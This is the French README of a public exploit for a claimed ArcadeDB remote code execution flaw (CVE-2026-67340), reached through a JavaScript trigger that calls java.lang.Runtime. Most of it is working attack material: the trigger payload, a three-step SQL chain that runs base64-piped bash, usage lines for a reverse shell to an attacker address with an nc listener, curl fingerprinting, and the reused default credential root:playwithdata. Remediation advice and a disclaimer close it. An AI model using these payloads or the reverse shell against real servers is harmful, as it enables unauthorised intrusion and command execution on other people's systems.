CVE-2026-67340 — ArcadeDB : RCE via script de déclencheur JAVASCRIPT (post-authentification)

Exécution de code à distance après authentification dans ArcadeDB (une base de données multi-modèles en Java) via un déclencheur JAVASCRIPT qui atteint les classes hôtes.

Le moteur polyglotte GraalVM d'un déclencheur est construit avec une liste d'autorisation de classes hôtes qui inclut java.lang.* (ScriptTriggerExecutor.setAllowedPackages), de sorte qu'un script de déclencheur peut appeler :

Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);

allowCreateProcess(false) ne le bloque pas — Runtime.exec est un appel de méthode hôte autorisé par HostAccess.ALL, et non l'API de processus invité de GraalVM. La création d'un déclencheur ne nécessite que la permission UPDATE_SCHEMA (plus faible que UPDATE_SECURITY qui régit l'exécution directe de scripts), de sorte que root peut le faire — une RCE post-authentification via l'API HTTP.

• Versions concernées : ArcadeDB < 26.7.2 (0 – 26.7.1)
• Correctif : 26.7.2 (supprime java.lang.* de la liste d'autorisation du déclencheur + ajoute un HostClassLookupFilter littéral avec une liste de refus des processus/réflexion/chargeurs de classes)
• Port par défaut : 2480 (API HTTP + Studio ; authentification Basic)
• CWE : 94 (injection de code) / évasion de sandbox
• Impact : exécution de commandes système avec l'utilisateur du processus ArcadeDB

Le chemin de commande direct language:js n'est pas le vecteur — il n'a aucune liste d'autorisation de packages (Java.type bloqué) et est verrouillé derrière UPDATE_SECURITY. Seul l'exécuteur de déclencheur code en dur java.lang.*.

Prérequis

Uniquement la bibliothèque standard Python 3 — aucune dépendance. Des identifiants ArcadeDB valides avec UPDATE_SCHEMA (par ex. root). ArcadeDB n'a pas de mot de passe par défaut codé en dur, mais son propre docker-compose.yml fournit l'exemple root:playwithdata, des identifiants fréquemment laissés en place.

Utilisation

# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444

# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'

# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb

Fonctionnement

Trois requêtes authentifiées POST /api/v1/command/<db> (language:sql) :

1. CREATE DOCUMENT TYPE Pwn
2. CREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'
3. INSERT INTO Pwn SET x = 1 — le déclencheur BEFORE CREATE se déclenche et le JavaScript s'exécute.

La commande système est encapsulée en base64 afin que les couches JavaScript/SQL/JSON n'aient pas besoin d'échapper les guillemets imbriqués, et le script omet waitFor() afin que exec retourne immédiatement (le processus fils continue de s'exécuter, la requête ne bloque pas).

Identifier une cible

curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases   # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases               # lists databases

Remédiation

Mettez à niveau vers ArcadeDB ≥ 26.7.2, définissez un rootPassword fort (jamais playwithdata), n'exécutez pas ArcadeDB en tant que root, restreignez UPDATE_SCHEMA et gardez l'API HTTP/Studio hors des réseaux non fiables.

Avertissement

Uniquement pour des tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.